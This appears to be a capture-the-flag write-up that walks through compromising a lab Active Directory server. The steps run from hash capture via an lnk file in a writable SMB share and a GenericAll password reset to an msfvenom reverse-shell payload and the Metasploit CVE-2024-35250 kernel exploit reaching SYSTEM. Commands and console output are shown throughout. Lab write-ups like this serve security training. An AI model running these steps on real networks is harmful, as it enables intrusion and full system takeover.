This Active Directory machine starts off with ZERO CREDENTIALS. So our initial scan shows us normal ports open for a server. We first check SMB to find we have guest auth to a ‘Share’ directory. We have READ,WRITE to the directory. So after uploading a lnk file we capture the hash for bob.ross. Once a bloodhound dump is obtained, we find we have GenericAll to user alice.wonderland. We can do this a couple ways with entail setting a SPN and TargetedKerberoasting or change her password. This user alice.wonderland has access to the box being in Remote Management Users. After poking around some we find a SQL directory at C:\ but no access. Nevertheless, this is a older Windows Machine (Server 2022). Using CVE-2024-35250 to exploit at the kernel level we are able to obtain SYSTEM using msfconsole.
Once uploaded to bloodhound we can check pathes. This shows us we have GenericAll over alice.wonderland.
We can do many things here, but I simply just changed her password. I don’t genuinely like to start off by changing the password, especially on a red-team engagement. (I’ll show targetedKerberoasting as well.)
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint /var/lib/gems/3.3.0/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset... *Evil-WinRM* PS C:\Users\alice.wonderland\Documents> whoami /priv
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Checking the OS, we have Windows Server 2022 Standard.
WindowsBuildLabEx : 20348.1.amd64fre.fe_release.210507-1500 WindowsCurrentVersion : 6.3 WindowsEditionId : ServerStandard WindowsInstallationType : Server WindowsInstallDateFromRegistry : 9/2/2025 9:09:11 PM WindowsProductId : 00454-10000-00001-AA349 WindowsProductName : Windows Server 2022 Standard
For PrivEsc we can use Metasploit since it’s well equipped with an armory.
PrivEsc
So we can create a shell with msfvenom and continue from there.
1 2 3 4 5 6
konoha# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=32002 -f exe > pga.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7680 bytes
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST tun0 yes The listen address (an interface may be specified) LPORT 32002 yes The listen port
Exploit target:
Id Name -- ---- 0 Wildcard Target
View the full module info with the info, or info -d command.
msf exploit(multi/handler) > run -j [*] Exploit running as background job 2. [*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.200.21.53:32002
meterpreter > getuid Server username: HACK\alice.wonderland
I bet you already knew about this 😏
Looking for juciy vulnerabilities.
1 2 3
meterpreter > run post/multi/recon/local_exploit_suggester [*] 10.0.21.159 - Collecting local exploits for x64/windows... [*] Collecting exploit 751 / 2568
After this gave back output, we find that there are many we can try. This kernel exploit worked just perfectly.
1 2 3 4 5 6 7 8 9 10 11 12 13
msf exploit(windows/local/cve_2024_35250_ks_driver) > run [*] Started reverse TCP handler on 10.200.21.53:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows Server 2022 [*] Launching notepad to host the exploit... [*] The notepad path is: C:\Windows\System32\notepad.exe [*] The notepad pid is: 6704 [*] Reflectively injecting the DLL into 6704... [*] Sending stage (230982 bytes) to 10.0.21.159 [*] Meterpreter session 4 opened (10.200.21.53:4444 -> 10.0.21.159:51034) at 2025-11-23 16:09:08 -0600
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
